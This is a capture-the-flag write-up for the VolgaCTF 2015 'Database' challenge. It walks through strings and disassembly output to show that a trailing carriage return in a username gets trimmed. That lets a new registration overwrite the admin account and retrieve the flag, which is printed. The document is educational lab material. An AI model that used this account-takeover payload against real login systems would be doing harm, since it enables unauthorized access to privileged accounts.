VolgaCTF 2015 Quals - Database (75pts) writeup

The challenge description was: Hack the database! nc database.2015.volgactf.ru 7777

A binary was also provided so let's have a look at it:

mrt:~/ctf/volga/pwn/database$ file database
database: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24,
BuildID[sha1]=d9a1acedc81f211feef5289d2cb05effd06d4a34, not stripped

So we have a x64 ELF binary, let's have a quick look at what is exactly going on when we connect to it:

mrt:~/ctf/volga/pwn/database$ nc database.2015.volgactf.ru 7777
>> help
Unknown command or incorrect number of parameteres.
>> ^C

Not much info from there, let's have a closer look at the provided binary and find which commands we are allowed to run:

mrt:~/ctf/volga/pwn/database$ strings database
/lib64/ld-linux-x86-64.so.2
libglib-2.0.so.0
...
Unknown command or incorrect number of parameteres.
This command is prohibited to non-admin users.
Target user is not registered.
The password is incorrect.
This user is already exists.
You must be logged in first!
There is no specific info for current user.
You have to specify user's name and password.
You have to specify correct user'
s info.
You are not even logged in!
admin
flag.txt
%s : %s
You are %s.
New user arrived!
Failed to read socket
%d fd: User request: %s.
get_flag
whoami
login
register
exit
get_info
set_info
logout
User with fd = %d has left.
Usage: database port
password.txt
...

We can see commands such as whoami, login, register, exit, get_info, set_info, logout and get_flag. Let's connect again to the remote database program and see what other info we can get from there:

mrt:~/ctf/volga/pwn/database$ nc database.2015.volgactf.ru 7777
>> get_info
admin : {it_is_not_the_flag!}
>> register guest guest
>> login guest guest
>> whoami
You are guest.
>> get_info
guest : There is no specific info for current user.
admin : {it_is_not_the_flag!}
>> set_info this_is_a_test
>> get_info
guest : this_is_a_test
admin : {it_is_not_the_flag!}
>> get_flag
This command is prohibited to non-admin users.
>> logout
>> whoami
You are not even logged in!
>> login admin password
The password is incorrect.
>> exit

Obviously we need to be admin to use the get_flag command and retrieve our flag, time to play with the program locally and see how we could become admin:

mrt:~/ctf/volga/pwn/database$ objdump -M intel -d database | less
database:     file format elf64-x86-64
...
0000000000401174 <insert_new_user>:
401174: 55 push rbp
401175: 48 89 e5 mov rbp,rsp
401178: 48 83 ec 30 sub rsp,0x30
40117c: 48 89 7d e8 mov QWORD PTR [rbp-0x18],rdi
401180: 48 89 75 e0 mov QWORD PTR [rbp-0x20],rsi
401184: 48 89 55 d8 mov QWORD PTR [rbp-0x28],rdx
401188: be 01 00 00 00 mov esi,0x1
40118d: bf 40 00 00 00 mov edi,0x40
401192: e8 69 fd ff ff call 400f00 <calloc@plt>
401197: 48 89 45 f0 mov QWORD PTR [rbp-0x10],rax
40119b: 48 8b 45 e8 mov rax,QWORD PTR [rbp-0x18]
40119f: 48 89 c7 mov rdi,rax
4011a2: e8 56 ff ff ff call 4010fd <rtrim>
...

If we look at the disassembly and more specifically how a new user is created, we notice the call to the function rtrim. A reasonable guess would be that rtrim actually right-trim a couple characters from a given input such as newline, carriage return, space or any other specific symbol.

00000000004010fd <rtrim>:
4010fd: 55 push rbp
4010fe: 48 89 e5 mov rbp,rsp
401101: 48 83 ec 20 sub rsp,0x20
401105: 48 89 7d e8 mov QWORD PTR [rbp-0x18],rdi
401109: 48 8b 45 e8 mov rax,QWORD PTR [rbp-0x18]
40110d: 48 89 c7 mov rdi,rax
401110: e8 2b fd ff ff call 400e40 <strlen@plt>
401115: 48 8d 50 ff lea rdx,[rax-0x1]
401119: 48 8b 45 e8 mov rax,QWORD PTR [rbp-0x18]
40111d: 48 01 d0 add rax,rdx
401120: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
401124: eb 3e jmp 401164 <rtrim+0x67>
401126: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
40112a: 0f b6 00 movzx eax,BYTE PTR [rax]
40112d: 3c 0d cmp al,0xd
40112f: 74 27 je 401158 <rtrim+0x5b>
401131: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
401135: 0f b6 00 movzx eax,BYTE PTR [rax]
401138: 3c 0a cmp al,0xa
40113a: 74 1c je 401158 <rtrim+0x5b>
40113c: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
401140: 0f b6 00 movzx eax,BYTE PTR [rax]
401143: 3c 20 cmp al,0x20
401145: 74 11 je 401158 <rtrim+0x5b>
401147: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
40114b: 0f b6 00 movzx eax,BYTE PTR [rax]
40114e: 3c 09 cmp al,0x9
401150: 74 06 je 401158 <rtrim+0x5b>
401152: 48 8b 45 e8 mov rax,QWORD PTR [rbp-0x18]
401156: eb 1a jmp 401172 <rtrim+0x75>
401158: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
40115c: c6 00 00 mov BYTE PTR [rax],0x0
40115f: 48 83 6d f8 01 sub QWORD PTR [rbp-0x8],0x1
401164: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
401168: 48 3b 45 e8 cmp rax,QWORD PTR [rbp-0x18]
40116c: 73 b8 jae 401126 <rtrim+0x29>
40116e: 48 8b 45 e8 mov rax,QWORD PTR [rbp-0x18]
401172: c9 leave
401173: c3 ret

The multiple cmp instructions compare specific characters telling rtrim to remove anything after symbols 0xd, 0xa, 0x20 and 0x9. This means that we might be able to truncate our username and overwrite the admin by entering one of these symbols.

An easy way to generate a carriage return symbol (0xd) is to enter Ctrl+V and Ctrl+M in your terminal:

mrt:~/ctf/volga/pwn/database$ echo -n ^M | xxd
0000000: 0d .

Let's try and overwrite username admin:

mrt:~/ctf/volga/pwn/database$ nc database.2015.volgactf.ru 7777
>> register admin^M pass
>> whoami
You are admin.
>> get_flag
flag: {does_it_look_like_column_tr@ncation}
>> exit

We got our flag:

{does_it_look_like_column_tr@ncation}